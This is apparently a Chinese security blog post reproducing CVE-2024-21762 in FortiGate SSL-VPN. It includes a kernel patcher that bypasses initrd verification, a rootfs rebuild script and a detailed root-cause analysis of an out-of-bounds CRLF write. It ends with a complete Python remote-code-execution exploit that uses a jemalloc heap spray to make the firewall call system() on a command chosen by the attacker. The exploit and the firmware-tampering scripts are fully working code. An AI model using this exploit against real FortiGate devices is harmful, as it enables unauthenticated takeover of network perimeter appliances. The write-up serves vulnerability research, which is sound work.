⇒ gzip 结束 = 0x41B4 + 0x6D6926 = 0x6DAADA
⇒ 尾部 stub = 7346368 - 0x6DAADA = 159206 B
⇒ vmlinux = 27310360 B,加载基址 0xFFFFFFFF7FE00000

校验函数在 0xFFFFFFFF8170C3C9,fgt_verify_initrd,原字节 55 48 89 e5 41 57 41 56。

改成 31 c0 c3,xor eax,eax; ret,返回 0 就算校验通过。

改字节不难,难的是长度必须一模一样。

尾部那 159206 字节是 Fortinet 自研解压 stub,把三个量写死在指令立即数里,我在镜像上按字节核过:

1
2
3
6dab05  48 8d 15 a8 96 92 ff   lea  -0x6d6958(%rip),%rdx   # disp 校验 → 0x41b4
6dab0c b9 26 69 6d 00 mov $0x6d6926,%ecx # payload_len
6dab14 49 c7 c1 18 b9 a0 01 mov $0x1a0b918,%r9 # 解压后大小

lea 的位移和 payload_len 是绑死的,关系是 disp = -(payload_len + 0x32)。

三者互相咬死,动一个就三重故障,而且是静默的 —— QEMU 直接复位,串口一个字符都没有,连 panic 都不打。

所以只能等长填充:重压缩后填 0 补回原长度,所有硬编码常量和文件偏移统统不用动。

问题来了,改完再压,压不回原大小:

1
2
3
4
5
原 payload_len = 0x6D6926 = 7170342 B

zlib -9 = 7171236 → 大 894 字节,填充都做不到
zlib -6 = 7189688 → 大 19346 字节
zopfli → 小于原版,可以填 0 补回原长

原厂用的压缩率比 zlib -9 还高。

只有 zopfli 这种穷举式压缩能压到原长以下,这是本流程必须装 zopfli 的硬理由。

前面「工作目录初始化」已经装好了,确认一下:

1
/tmp/zv/bin/python3 -c 'from zopfli import gzip; print("zopfli ok")'

注意后面跑脚本必须用 /tmp/zv/bin/python3,不能用系统 python3。

系统的没装 zopfli,直接 python3 artifacts/patch_equal.py 会停在导入那行:

1
2
3
File "artifacts/patch_equal.py", line 24, in <module>
from zopfli import gzip as zopfli_gzip
ModuleNotFoundError: No module named 'zopfli'

inflate 在 BFINAL 块结束就返回,尾部填充被完全忽略,所以填充合法。

artifacts/patch_equal.py 全文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""给 FortiGate flatkc 打补丁(绕过 fgt_verify_initrd),且保持文件长度不变。

用法: /tmp/zv/bin/python3 artifacts/patch_equal.py <in_flatkc> <out_flatkc>
(必须用装了 zopfli 的那个 python)

为什么必须等长
--------------
flatkc 在 gzip payload 之后紧跟一段自研解压 stub,其中把 payload 长度写死在
指令立即数里:

lea -0x6d6958(%rip), %rdx ; rdx = gzip 起点, disp = -(payload_len + 0x32)
mov $0x6d6926, %ecx ; ecx = payload_len
mov $0x1a0b918, %r9 ; r9 = 解压后 vmlinux 大小

改其中一个而不同步另外两个,stub 就用错误长度 inflate —— 表现为静默三重故障
(QEMU 直接复位,串口无任何输出,无 panic)。

最稳的做法:重压缩后用 0 填充回原始长度。inflate 在 BFINAL 块结束即返回,
尾部填充被忽略;于是所有硬编码常量无需改动,文件偏移也完全不变。
"""
import struct
import sys
import zlib

from zopfli import gzip as zopfli_gzip

VMLINUX_BASE = 0xFFFFFFFF7FE00000
VERIFY_VA = 0xFFFFFFFF8170C3C9
PATCH = bytes.fromhex("31c0c3") # xor eax,eax ; ret
EXPECT = bytes.fromhex("554889e54157") # push rbp; mov rbp,rsp; push r15


def main():
if len(sys.argv) != 3:
print(__doc__)
return 2
src, dst = sys.argv[1], sys.argv[2]
d = bytearray(open(src, "rb").read())

# 1) 从头部三个字段算出 gzip 的绝对位置
setup_len = (d[0x1F1] + 1) * 512
pay_off = struct.unpack_from("<I", d, 0x248)[0]
pay_len = struct.unpack_from("<I", d, 0x24C)[0]
start = setup_len + pay_off
gz = bytes(d[start:start + pay_len])
print(f"[*] {src} ({len(d)} bytes), gz @{hex(start)} len={pay_len}")

# 2) 跳过 gzip 头 10 字节 + 尾 8 字节,裸 deflate 解压
vmlinux = bytearray(zlib.decompress(gz[10:-8], -15))
print(f"[*] vmlinux {len(vmlinux)} bytes")

# 3) 定位并校验目标字节,确认打的不是别人的补丁地址
off = VERIFY_VA - VMLINUX_BASE
cur = bytes(vmlinux[off:off + len(EXPECT)])
print(f"[*] target @{hex(off)}: {cur.hex()}")
if cur != EXPECT:
print("[!] 目标字节不匹配, 中止")
return 1
vmlinux[off:off + 3] = PATCH
print(f"[*] patched -> {bytes(vmlinux[off:off+3]).hex()} (xor eax,eax; ret)")

# 4) 用 zopfli 重压(zlib -9 都比原版大,压不下去)
new_gz = zopfli_gzip.compress(bytes(vmlinux), numiterations=15,
blocksplitting=True)
print(f"[*] recompressed: {pay_len} -> {len(new_gz)} ({len(new_gz)-pay_len:+d})")
if len(new_gz) > pay_len:
print("[!] 新 gzip 比原版大, 无法等长填充; 需要改 stub 常量")
return 3

# 5) 填 0 补回原长,写回同一位置
padded = new_gz + bytes(pay_len - len(new_gz))
assert len(padded) == pay_len
d[start:start + pay_len] = padded

open(dst, "wb").write(bytes(d))
print(f"[+] wrote {dst} ({len(d)} bytes, 长度与原版一致)")
return 0


if __name__ == "__main__":
sys.exit(main())

跑法(在根目录下):

1
/tmp/zv/bin/python3 artifacts/patch_equal.py artifacts/orig/flatkc artifacts/flatkc.patched

这里喂进去的是 artifacts/orig/flatkc,不是 mnt/p1/flatkc。

因为「放入程序」那节结束时已经把 .bak 卸掉并 disconnect 了,此刻 mnt/p1 是空的。

原始 flatkc 是那时候就顺手存下来的(cp mnt/p1/flatkc artifacts/orig/flatkc),所以这里不用再挂一次盘。

实测输出(原版 vs 补丁版):

1
2
orig    file=7346368  vmlinux=27310360  off=0x190c3c9  bytes=554889e541574156
patched file=7346368 vmlinux=27310360 off=0x190c3c9 bytes=31c0c3e541574156

长度不变、偏移不变、vmlinux 大小不变。

rootfs 重打包

两处补丁产物都有了:artifacts/init.full.patched(init)和 artifacts/flatkc.patched(内核)。

还差把结果写回镜像。

scripts/rebuild.sh 把「重打 bin.tar.xz → 重打 cpio → 取 trailer → 压 gzip → 写盘 → 改 extlinux」串成一条:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/bin/sh
# scripts/rebuild.sh — 重建打过补丁的 flatkc + rootfs.gz,并写入镜像 p1 分区
# 用法: ./scripts/rebuild.sh
#
# 前置:
# - artifacts/flatkc.patched (打好的内核,见 patch_equal.py)
# - artifacts/init.full.patched (打好的 bin/init,见 patch_init_full.py)
# - build/bin.tar.xz.orig (塞好程序的包,见「放入程序」)
# - rootfs_file/ (解好的根文件系统,见「取出文件系统」)
# - fortios.qcow2.bak (提供原始 rootfs.gz 的 256B trailer)
#
# 三个关键点(都踩过):
# 1. find 不能用 -depth,否则子项先于父目录,内核解包后找不到 /sbin/init
# 2. initrd 必须是 gzip + 尾部 256 字节 trailer,不能放裸 cpio
# 3. extlinux.conf 的 ramdisk_size 必须 >= initrd 大小(用 262144)
set -eu
cd "$(dirname "$0")/.."

WORK=$(mktemp -d /tmp/fgtbuild.XXXXXX)
trap 'rm -rf "$WORK"' EXIT

echo "[1/6] 重打 bin.tar.xz"
mkdir -p "$WORK/bin"
tar -xf build/bin.tar.xz.orig -C "$WORK"
cp artifacts/init.full.patched "$WORK/bin/init"
chmod 755 "$WORK/bin/init"
( cd "$WORK" && tar -cf bin.tar bin )
xz -e -T0 "$WORK/bin.tar"
cp "$WORK/bin.tar.xz" rootfs_file/bin.tar.xz

echo "[2/6] 重打 rootfs cpio(注意:不加 -depth)"
sudo sh -c "cd $PWD/rootfs_file && find . -print0 | cpio --null -o -H newc 2>/dev/null" \
> "$WORK/rootfs.cpio"

echo "[3/6] 取原始 rootfs.gz 的 256B trailer"
sudo qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true
sudo modprobe nbd max_part=8
sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2.bak
sleep 2
sudo mount -o ro /dev/nbd0p1 mnt/p1
cp mnt/p1/rootfs.gz "$WORK/orig_rootfs.gz"
sudo umount mnt/p1
sudo qemu-nbd --disconnect /dev/nbd0

echo "[4/6] 压 gzip + 追加 trailer"
python3 - "$WORK" <<'PYEOF'
import gzip, io, sys, zlib, os
w = sys.argv[1]
cpio = open(os.path.join(w, 'rootfs.cpio'), 'rb').read()
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9, mtime=0) as f:
f.write(cpio)
gz = bytearray(buf.getvalue())
gz[9] = 3 # OS=unix,与原版一致
o = zlib.decompressobj(31)
o.decompress(open(os.path.join(w, 'orig_rootfs.gz'), 'rb').read())
trailer = o.unused_data
assert len(trailer) == 256, f"trailer 应为 256 字节,实际 {len(trailer)}"
out = os.path.join(w, 'rootfs.gz')
open(out, 'wb').write(bytes(gz) + trailer)
print(f" rootfs.gz = {len(gz)} (gzip) + {len(trailer)} (trailer) = {len(gz)+len(trailer)}")
PYEOF

echo "[5/6] 写入镜像"
sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2
sleep 2
sudo mount /dev/nbd0p1 mnt/p1
sudo cp artifacts/flatkc.patched mnt/p1/flatkc
sudo cp "$WORK/rootfs.gz" mnt/p1/rootfs.gz
sudo rm -f mnt/p1/rootfs
sudo sed -i 's#initrd=[^ ]*#initrd=/rootfs.gz#; s/ramdisk_size=[0-9]*/ramdisk_size=262144/' mnt/p1/extlinux.conf
sudo sync

echo "[6/6] 收尾"
sudo umount mnt/p1
sudo qemu-nbd --disconnect /dev/nbd0
echo "[+] 完成。用 scripts/start.sh 启动。"

脚本里 rootfs 那几步有四个必须同时满足的点:

# 要点 违反后
1 find . 不能加 -depth 子项先于父目录出现 → /sbin/init 解析失败 → ENOENT
2 init 符号链接必须是绝对路径 /sbin/init 相对路径按 cwd 解析 → 找不到
3 initrd 必须是 gzip + 256B trailer 裸 cpio 直接校验失败
4 extlinux.conf 的 ramdisk_size 要够 内核截断 initrd,解包不完整

trailer 那 256 字节不能自己造,得从原镜像里抠:

1
2
3
4
o = zlib.decompressobj(31)
o.decompress(open('orig_rootfs.gz', 'rb').read())
trailer = o.unused_data
assert len(trailer) == 256

ramdisk_size 从 65536 改成 262144,倒不是原值错了,是余量问题:

1
2
原始 initrd 64691870 B = 63175.1 KiB  → 65536 装得下,余量 2360 KiB
新版 initrd 66327690 B = 64773.1 KiB → 余量只剩 762.9 KiB,太危险

跑法:

1
./scripts/rebuild.sh

到这里 fortios.qcow2 已经完成所有修补,重新启动:

1
./scripts/start.sh --accel kvm --net tap

起来之后在 FortiGate CLI 里跑 diagnose hardware smartctl,可以直接落到 root shell:

1
2
3
4
5
6
FGVM324FN00KXRQJ # diagnose hardware smartctl
BusyBox v1.37.0 ... built-in shell (ash)
/ # id
uid=0 gid=0
/ # uname -a
Linux FGVM324FN00KXRQJ 4.19.13 #1 SMP Tue May 9 16:56:37 UTC 2023 x86_64 GNU/Linux

顺手记一下 gdbserver 的用法,后面调试要用。

161 这个端口是借 smap 的:

1
2
3
4
5
6
7
8
# guest 侧
/bin/gdbserver 0.0.0.0:161 --attach $(busybox pidof sslvpnd)

# 宿主侧
pwndbg -q \
-ex 'set sysroot /nonexistent' \
-ex 'set solib-search-path /nonexistent' \
-ex 'target remote 192.168.100.250:161'

set sysroot /nonexistent 必须加,不然 gdb 会去 guest 拉 /lib 下的 libc 和 jemalloc,慢且经常超时断连。

反正我们只关心 init 本体,非 PIE,地址全是静态的,一个 .so 符号都不需要。

调试完同样用 ./scripts/start.sh --cleanup 收尾,和前面一个用法。

漏洞分析

前面说过 init 是多调用二进制,sslvpnd 只是它的一个符号链接。

所以这里分析的每一个函数,对 sslvpnd 进程都成立。

漏洞入口在 read_client_block,0x18A1FB0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_18A1FB0(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6)
{
__int64 v6; // rbx,流对象
int v7; // eax
char v9[8200]; // [rsp+0h] [rbp-2020h] ← 0x2018 栈缓冲
unsigned __int64 v10; // [rsp+2008h] [rbp-18h] ← 栈金丝雀

v6 = *(a1 + 736); // [conn+0x2E0] 流对象
v10 = __readfsqword(0x28u);
do
v7 = sub_178D0B0(v6, v9, 8190LL, a4, a5, a6); // ← 反复调用,同一个 buf、同一个 0x1FFE
while ( v7 > 0 );
...
}

对应汇编:

1
2
3
4
5
6
7
8
18a1fb5  sub  rsp, 2018h          ; 栈帧
18a1fcc mov [rbp-18h], rax ; ★ 栈金丝雀,buf+0x2008
18a1fd2 mov edx, 1FFEh ; ← 循环起点,注意这个 0x1FFE
18a1fd7 lea rsi, [rbp-2020h] ; buf = rbp - 0x2020
18a1fe1 call sub_178D0B0
18a1fe8 jg loc_18A1FD2 ; ★★ 返回 > 0 就再调一次
18a2006 leave ; 唯一安全的断点
18a2007 retn

注意那个 do...while。

sub_178D0B0 是在循环里被反复调用的,每次返回大于 0 就再来一次,都用同一个 buf、同一个长度。

而 buf 只有 0x2018 字节,实际可用 0x1FFE。

解析器本体 sub_178D0B0 是个状态机,[ctx+0x2D0] 是状态号。

相关字段:

偏移 语义
ctx+0x104 解析模式(实测 = 3 进入 chunked 限制路径)
ctx+0x108 chunked 限制开关(实测恒为 1)
ctx+0x2D0 状态号 0..9
ctx+0x2D8 本次调用内所有行累计写过的字节数
ctx+0x2E0 本次读取上限
ctx+0x2E8 本次调用累计产出字节数
ctx+0x2F0 缓冲区真实剩余容量
ctx+0x2F8 输出缓冲区追加游标

状态 4 是读 chunk 数据,伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 4:
v26 = *(a1 + 0x2F0); // 剩余容量,这里是对的
...
if ( sub_1792FE0(*(a1 + 0x760), v26, ...) <= 0 ) // __ap_getline 读一行
break;
v27 = *(a1 + 0x2F0); // 容量
v28 = *(a1 + 0x2D8); // ★★ 本应取行长 n,这里取的是累计值
v29 = v27 - 1;
if ( v28 != v29 ) // 只是"恰好填满"的收尾判断,不是护栏
{
v30 = *(a1 + 0x760); // 缓冲区基址
*(a1 + 0x2D8) = v28 + 1;
*(v30 + v28) = 13; // ★ CR 写在 缓冲区基址 + 累计值
...
*(a1 + 0x2D8) = v31 + 1;
*(v32 + v31) = 10; // ★ LF 写在 +1
...
}
v26 = (v27 - v29);
*(a1 + 0x2E8) += v29;
*(a1 + 0x2F0) += v29; // ★ 游标步长也取累计值
*(a1 + 0x2D8) = v26;

同一个 0x2D8 被用在两个地方,两次都错:

  1. 写地址 = 游标 + 累计量 → 累计量被重复加了一次
  2. 游标步长 = 累计量 → 二次放大

而 0x2D8 在状态 4 的循环里只被 +1 两次(写 CR、写 LF),从不从 ap_getline 的返回值刷新。

真正该刷新它的那句在哪?

1
2
178d41e  jnz  loc_178D5E8        ; ★ 0x108 != 0 → 跳过下面这句
178d45c mov [rbx+2D8h], rax ; 2D8 = n(永远不执行)

实测 [ctx+0x108] 恒为 1。

所以 2D8 = n 那条正确赋值永远不执行。

漏洞点

  1. 越界写,位置在 sub_178D0B0 状态 4 的 CRLF 写入,0x178D388 / 0x178D3A5
  2. 根因是 0x2D8 与 0x2F8 双计数:写地址和步长都用了累计量,0x2F0 才是正确容量
  3. read_client_block 的循环反复调用,0x2D8 / 0x2F8 跨调用持续增长,写地址是 k 的二次函数

实测 89 轮恒有 0x2F8偏移 + 0x2F0 = 0x1FFC,两者严格同步递减,容量核算始终正确。

问题不在容量,在于”游标该走多远”和”该往哪写”。

既然是二次函数,想落到哪个栈地址,反解一下就行。

scripts/get_offset.py 干的就是这件事:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_offset(k, n, s):
if n == 0:
return s
return get_offset(k + 2, n -1, k + s)

def get_num(target, max_num):
for i in range(1, max_num):
for j in range(1, max_num):
if get_offset(i + 2, j + 1, 0) == target:
return i,j
return -1,-1

target_addr = 0x7fff66638df8 # 这是你想写入的地址
offset = target_addr - 0x7fff66636da0 # 后面这个是 0x2F8 的初始地址,这两个值都随随机化变化,你需要通过 gdb 调试获得他们

i,j = get_num(offset + 0x2, 500)

print("i:", i)
print("j:", j)

跑出来:

1
2
i: 18
j: 81

它反解的目标是 0x2058 + 0x2。

0x2058 就是 saved r13 的槽,多出来的 2 后面解释。

回来这两个数就是 payload 的两个参数:

变量 含义 值
i 前面垫多少个 b"0" 18
j 后面跟多少行 b"A: X\r\n" 81

也就是理论上要打成 b"0"*18 + b"\r\n" + b"A: X\r\n"*81 这个形状。

为什么多这 2 字节,得看 get_offset 到底在算什么。

它只有三行,是个等差数列求和:

  • s 是已累计的值,k 是当前这一轮的步长
  • 每轮先 s += k,再把 k += 2,迭代 n 次
  • 入口是 k = i + 2、n = j + 1,展开
1
2
3
s = Σ(t=0..j) (i + 2 + 2t)
= (j+1)(i+2) + 2·j(j+1)/2
= (j+1)(i+j+2)

减掉 2 之后才是写地址:

1
w(j) = (j+1)(i+j+2) - 2 = j² + (i+3)j + i

i = 18 代进去:

1
w(j) = j² + 21j + 18

拿 i = 1 再代一次,得到 w(j) = j² + 4j + 1。

这个式子对得上另一条 payload(b"0\r\n" 加 89 行 A: X\r\n)实测出来的边界:88 行落在 0x1FA1,89 行落在 0x2056。

两条曲线都是 j² 开头,差别只在一次项和常数——起点不同而已。

所以 get_offset(i+2, j+1, 0) 恒等于 w(j) + 2,get_num 比的是这个返回值,才要写 0x2058 + 0x2。

这只是其中一种选择,换成下面真正上线的那条 payload 就不是这个形状了。

中间隔着一次实测标定,4137 不是脚本算出来的。

0x178D000 的 hex 解码器会跳过前导 '0':

1
2
for ( i = *a1; i == 48; ++v1 )      // 48 = '0'
i = v1[1];

所以 b"0"*4137 这串零进去之后,解析路径跟 b"0"*18 + b"\r\n" 不同,0x2D8 的初值也不同。

同一个漏洞、同一套双计数机制,只是起点不一样,w 的系数就跟着变。

4137 只能靠实测扫出来,脚本的反解帮不上这个忙。

脚本能确认的是:i=18 / j=81 这对参数确实把第 81 轮落在 0x2058,和实测打中的位置一致。

利用思路

上线的那条 payload 长这样:

1
2
3
4
POST / HTTP/1.1
Transfer-Encoding: chunked

b"0"*4137 + b"\x00" + b"A" + b"\r\n\r\n"

k 是状态 4 的写轮次,取 80..83 代进 i=18 那条曲线:

1
2
3
4
k=80 → 0x1FA2
k=81 → 0x2058 ★ 正好是 saved r13 槽
k=82 → 0x2110
k=83 → 0x21CA

四个点都和实测对得上。

k 是整数,所以落点是离散的。

这一步跨 182 字节,于是把中间那些东西全部跳过去了。

read_client_block 的完整帧:

1
2
3
4
5
6
7
8
9
10
buf+0x1FFE  实际使用末端
buf+0x2008 [canary] = fs:28h ← 越界写第一个该碰到的目标
buf+0x2018 [saved rbx]
buf+0x2020 [saved rbp]
buf+0x2028 [saved rip] = 0x18b794d ← 数列跳过,永不可达
─────────── 以下是调用者 sslConnDispatchChanEvent 的帧 ───────────
buf+0x2050 [它的 r12]
buf+0x2058 [它的 r13] = 0x...4800 ← ★ 被写成 0x...0a0d
buf+0x2060 [它的 r14]
buf+0x2078 [它的 rip2] = 0x18b8ff0

r13 在这里是 SSL 连接对象指针,小端值低 2 字节被覆写:

1
2
3
原值  r13 = 0x00007f6221694800     (page = 0x7f6221690000, 64 KB 对齐)
写入 0d 0a
新值 r13 = 0x00007f6221690a0d = page | 0x0A0D

sslConnDispatchChanEvent 正常收尾 pop r13,把这个脏值送回 sslConnPollAllChannels 当 rdi 继续用。

r13 到手,接下来就是拿它撬程序流。

再次进入 sslConnDispatchChanEvent 时,rdi 就是 page+0x0A0D:

1
2
3
18b8fe5  mov  esi, r14d           ; 通道号
18b8fe8 mov rdi, r13 ; ★
18b8feb call sslConnDispatchChanEvent ; 劫持点

派发器内部取函数指针:

1
2
3
4
18b78ee  mov  r13, [rdi+298h]     ; = V
18b7903 mov r15, [r13+70h] ; = P(通道表头)
18b793d mov rax, [rax+r15+20h] ; [P + 32*a2 + 0x20] 通道 a2 的写回调
18b794b call rax ; ★ rdi 仍是 page+0x0A0D

所以整条链是:

1
2
3
4
5
6
7
8
① 越界写 0D 0A → buf+0x2058 → saved r13 低 2 字节 = 0x0A0D
② r13 送回 sslConnPollAllChannels
③ [r13+0x298] = [page+0x0CA5] = V = 0x49D7B48 ← body 提供
④ [V+0x70] = P = 0x49D7BA0 ← .bss 静态表
⑤ [P+0x80] = T = 0x2ADFA00 ← channel-3 写槽
⑥ call rax → 2ADFA00+0x12 : call qword ptr [rdi+0x50]
⑦ [rdi+0x50] = [page+0x0A5D] = 0x442100 = system@plt ← body 提供
⑧ system(rdi) = system(page+0x0A0D) = system(命令串)

T 那段反汇编很短,18 字节就取用 rdi:

1
2
3
4
5
2adfa00  test rdi, rdi
2adfa03 jz ret0
2adfa05 push rbp
2adfa12 call qword ptr [rdi+50h] ★
2adfa15 mov rdi, r12

system@plt 在 0x442100,一行:

1
442100  ff 25 7a 87 f9 03   jmp qword ptr [0x43da880]

非 PIE,静态地址已知,不需要泄漏。

rdi 是自指的。

它指向的地址处的字节,就是攻击者控制的数据本身。

麻烦的地方在堆喷。

jemalloc 5.2.1,/lib/libjemalloc.so.2,539264 字节。

size class 按 8 字节对齐,相邻档位大致翻倍:0x800、0xA00、0x2000……

分配链走正常业务功能,不需要畸形请求:

1
2
3
4
5
6
POST <任意路径>  Content-Length: CL
→ read_post_data @ 0x18BDF40
→ sub_1778AF0(CL+1) @ 0x1778AF0 fsv 分配器
→ sub_17786A0(CL+1+24) @ 0x17786A0 → je_malloc
je_malloc 返回 + 0x18 = 用户数据起点
→ sub_178D0B0 把 body 拷进这块堆
对象 请求 je_malloc class 用户数据起点
conn 0x730 0x748 0x800 chunk + 0x18
body CL+1 CL+25 需 0x800 chunk + 0x18

所以 CL + 1 + 24 ≤ 0x800,即 CL ≤ 0x7E7。

CL = 0x7F8 时 CL+25 = 0x811,落 0xA00 class,跟 conn 永不同页 —— 表现为”整页一个 V 都没有”,喷 10 MB 也白喷。

64 KB 页 / 0x800 = 32 槽。

rdi = page | 0x0A0D,0x0A0D ∈ [0x0800, 0x1000),只落在 槽 1。

1
2
槽0  (0x000)  conn(触发时复用)    ← 只贡献页地址的高 6 字节
槽1 (0x800) body 用户数据 = page + 0x818

四个字段全在页内固定偏移,且全部 ≡ 5 (mod 8):

字段 值 body 偏移 页内偏移 用途
cmd 命令文本 0x1F5 0x0A0D system 的参数
fn 0x442100 0x245 0x0A5D [rdi+0x50]
ev3 0x02 0x325 0x0B3D 通道 3 写事件
V 0x49D7B48 0x48D 0x0CA5 [rdi+0x298]

所以只要 body 落在 conn 同页的槽 1,整条链就通了。

fsv 还是 bump 分配器,不是每次都 je_malloc:

1
2
3
4
5
6
7
8
9
10
v3 = v2[2];                       // 当前 chunk 的空闲指针
v4 = 8 * (((a2 - 1) >> 3) + 1); // 8 字节对齐后的大小
if ( &v3[v4] > *v2 ) { // 放不下才 malloc
v7 = dword_B133AA4 - 25; // = 0x3E8,最小分配量
v8 = sub_17786A0(v7);
...
} else {
v2[2] = &v3[v4]; // ★ 直接 bump
}
return memset(v3, 0, a2);

实测 bump 100 次 / malloc 52 次。

这意味着 body 可能从已有 chunk 的中间 carve 出来,此时 0x818 就不对了。

成功的三个条件:

1
2
3
① 某条喷的 conn 落在某页 slot 0     ← 分配序列决定,不可直接控制
② 该条 body 落在同页 slot 1 ← 实测规律:body 槽 = conn 槽 + 1
③ 该条的槽是"最后被 free 的" ← 关闭顺序决定,可控

③ 的意思是:槽 1 的内容由谁最后被 free 决定,不是由”谁曾经写进去过”决定。

所以正向关闭、最后关最新的那条,它的槽才在 LIFO 栈顶。

exp

只用标准库,socket / ssl / struct / sys / time,Python 3.6+ 直接跑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import ssl
import struct
import sys
import time

# ======================= 目标 =======================
TARGET = "192.168.100.250"
PORT = 10443
CMD = "echo PWNED21762 > /tmp/pwned21762"
# ====================================================

# 静态地址(非 PIE)
V = 0x49D7B48 # [V+0x70]=P -> [P+0x80]=0x2ADFA00
SYS_PLT = 0x442100 # system@plt

# 页内偏移,rdi = page + 0x0A0D
PAGE_CMD = 0x0A0D # cmd 字符串(system 参数)
PAGE_FN = 0x0A5D # [rdi+0x50]
PAGE_EV0 = 0x0ADD # 通道 0 事件字节,步长 0x20
PAGE_V = 0x0CA5 # [rdi+0x298]
EV_STRIDE = 0x20

# body 落在槽 1:槽起点 0x800 + fsv 头 0x18
BODY_BASE = 0x818
BODY_LEN = 0x7E0 # 0x7E0+25 = 0x7F9 <= 0x800(0x800 class)
SPRAY_N = 4 # 实测最优

# 触发:第 81 次写命中 saved r13(w(81) = 0x2058)
TRIG_ZEROS = 4137

SPRAY_PATH = "/remote/hostcheck_validate"
TRIG_PATH = "/"


def build_body():
"""body[i] 落在 page + BODY_BASE + i"""
body = bytearray(b"A" * BODY_LEN)

def put(page_off, data):
i = page_off - BODY_BASE
if 0 <= i and i + len(data) <= BODY_LEN:
body[i:i + len(data)] = data

put(PAGE_CMD, CMD.encode() + b"\x00")
put(PAGE_FN, struct.pack("<Q", SYS_PLT))
put(PAGE_V, struct.pack("<Q", V))
for ch in range(5):
put(PAGE_EV0 + ch * EV_STRIDE, bytes([0x02 if ch == 3 else 0x08]))

b = bytes(body)
if b"\r\n" in b:
raise SystemExit("body 含 CRLF,会被 HTTP 截断")
return b


def build_trigger():
"""chunked 请求,把 saved r13 低 2 字节改成 0x0a0d"""
return (b"POST " + TRIG_PATH.encode() + b" HTTP/1.1\r\n"
b"Host: " + TARGET.encode() + b"\r\n"
b"Transfer-Encoding: chunked\r\n\r\n"
+ b"0" * TRIG_ZEROS + b"\x00" + b"A" + b"\r\n\r\n")


def connect():
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
ctx.set_ciphers("ALL:@SECLEVEL=0")
except Exception:
pass
raw = socket.create_connection((TARGET, PORT), timeout=10)
return ctx.wrap_socket(raw)


def main():
body = build_body()
req = (b"POST " + SPRAY_PATH.encode() + b" HTTP/1.1\r\n"
b"Host: " + TARGET.encode() + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: keep-alive\r\n\r\n" + body)

# 1) 喷 n 条,每条一个 conn(槽0) + body(槽1)
socks = []
for i in range(SPRAY_N):
try:
s = connect()
except Exception as e:
print("[!] spray %d connect failed: %s" % (i + 1, e))
for t in socks:
try:
t.close()
except Exception:
pass
return 1
s.sendall(req)
try:
s.settimeout(0.3)
s.recv(4096) # 收到响应才说明 body 已分配
except Exception:
pass
socks.append(s)
print("[*] spray %d/%d" % (i + 1, SPRAY_N))

# 2) 正向关闭:最后关的是最新那条,它的槽进 LIFO 栈顶
time.sleep(0.5)
for s in socks:
try:
s.close()
except Exception:
pass
time.sleep(0.05)
print("[*] 已关闭 %d 条,槽0 归还、槽1 数据残留" % SPRAY_N)

# 3) 触发一次(handler 每连接一次性,不能重试)
try:
s = connect()
except Exception as e:
print("[!] trigger connect failed: %s" % e)
return 1
s.sendall(build_trigger())
print("[*] 触发已发送")
try:
s.settimeout(3)
s.recv(4096)
except Exception:
pass
try:
s.close()
except Exception:
pass

time.sleep(2)
print("[+] 完成。若成功,目标上应出现: %s" % CMD)
return 0


if __name__ == "__main__":
sys.exit(main())

结尾

从两个字节的 0d 0a 一路走到 RCE,这条链本身是有意思的。

难点不在漏洞点,在堆布局。

按现在的结论,命中率低是因为必须恰好在某一时刻让 body 落在 r13 所指那一页的槽 1 上。

jemalloc 的分配行为又相当随机:一个页能切 32 个槽,但常常分了三四个就转去开新页,之后可能跳回来,也可能原地释放再分配。

所以哪怕在模拟环境里,命中率也低得难看。

好在触发之后打崩了会自动重启,可以反复试。

不过这个利用思路还是挺有意思的,值得记一笔。


漏洞复现_CVE-2024-21762_Fortigate
https://zlsf-zl.github.io/2026/06/25/漏洞复现_CVE-2024-21762_Fortigate/
作者
ZLSF
发布于
2026年6月25日
许可协议